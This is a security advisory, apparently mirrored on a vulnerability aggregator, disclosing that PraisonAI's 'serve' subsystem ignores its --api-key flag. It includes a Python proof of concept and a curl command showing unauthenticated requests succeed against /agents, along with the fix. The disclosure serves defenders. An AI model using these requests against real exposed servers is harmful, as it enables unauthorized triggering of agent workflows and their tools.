Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-pvxx-r596-f5qj

Опубликовано: 25 авг. 2026
Источник: github
Github: Прошло ревью
CVSS4: 8.8

Описание

PraisonAI: --api-key flag on praisonai serve is not properly enforced

Summary

praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.

Affected versions

  • Confirmed on 4.6.50 (current PyPI, 2026-06-02)
  • Likely since 4.6.34 when the serve subsystem shipped
  • File: src/praisonai/praisonai/cli/features/serve.py

What happens

The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into _create_agents_app(config). But that function never reads config["api_key"]. The FastAPI app gets created with no auth at all. Same thing in _create_unified_app.

The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't.

$ grep -n "api_key" src/praisonai/praisonai/cli/features/serve.py 107: --api-key <key> API key for authentication 199: "api_key": {"default": None}, 847: "api_key": {"default": None},

Endpoints exposed without auth

  • POST /agents — runs the full agent workflow
  • POST /agents/{name} — invokes a specific agent
  • POST /api/v1/agents/{id}/invoke — n8n integration endpoint
  • GET / — lists all endpoints
  • GET /__praisonai__/discovery — service discovery

Not the same as CVE-2026-44338

CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTH_ENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.

PoC

Setup

python3 -m venv /tmp/poc-venv /tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml

Script

import sys, types, tempfile, os # Stub heavy deps so we only test the serve auth logic for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server", "praisonai.api", "praisonai.api.agent_invoke", "praisonai.agents_generator", "praisonai.inc"]: sys.modules[m] = types.ModuleType(m) disc = sys.modules["praisonai.endpoints.discovery"] class Fake: def __init__(self, **k): pass def add_provider(self, *a, **k): pass def add_endpoint(self, *a, **k): pass def to_dict(self): return {} disc.create_discovery_document = lambda **k: Fake() disc.EndpointInfo = Fake disc.ProviderInfo = Fake sys.modules["praisonai.endpoints.server"].add_discovery_routes = lambda a,b: None sys.modules["praisonai.api.agent_invoke"].FASTAPI_AVAILABLE = False class FakeGen: def __init__(self, **k): pass def generate_crew_and_kickoff(self): return {"executed": True, "result": "workflow ran"} sys.modules["praisonai.agents_generator"].AgentsGenerator = FakeGen class FakeLLM: def to_dict(self): return {} sys.modules["praisonai.inc"].LLMConfig = FakeLLM f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) f.write("name: T\nagents:\n a:\n name: A\n role: R\n goal: G\n backstory: B\n") f.flush() from praisonai.cli.features.serve import ServeHandler app = ServeHandler()._create_agents_app({ "file": f.name, "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "api_key": "supersecret", # <-- should protect the server }) from starlette.testclient import TestClient c = TestClient(app) r1 = c.post("/agents", json={"query": "run"}) r2 = c.post("/agents", json={"query": "run"}, headers={"Authorization": "Bearer TOTALLY_WRONG"}) print(f"No auth header → {r1.status_code}") # 200 print(f"Wrong key → {r2.status_code}") # 200 os.unlink(f.name)

Output

No auth header → 200 Wrong key → 200

Both succeed. The key is ignored.

Live server test

# start server with --api-key praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999 # hit it without any auth curl -s -X POST http://localhost:9999/agents \ -H "Content-Type: application/json" \ -d '{"query":"run all agents"}' # → 200, workflow executes

Impact

Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.

What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.

Fix

_create_agents_app() and _create_unified_app() need to actually read config["api_key"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.

References

  • CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)

Пакеты

Наименование

PraisonAI

pip
Затронутые версииВерсия исправления

< 4.6.58

4.6.58

EPSS

Процентиль: 20%
0.00276
Низкий

8.8 High

CVSS4

Дефекты

CWE-862

Связанные уязвимости

nvd
22 дня назад

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, praisonai serve agents and praisonai serve unified parse --api-key but _create_agents_app() and _create_unified_app() do not install a credential check. Unauthenticated callers can reach POST /agents and POST /api/v1/agents/{id}/invoke. This issue is fixed in version 4.6.58.

EPSS

Процентиль: 20%
0.00276
Низкий

8.8 High

CVSS4

Дефекты

CWE-862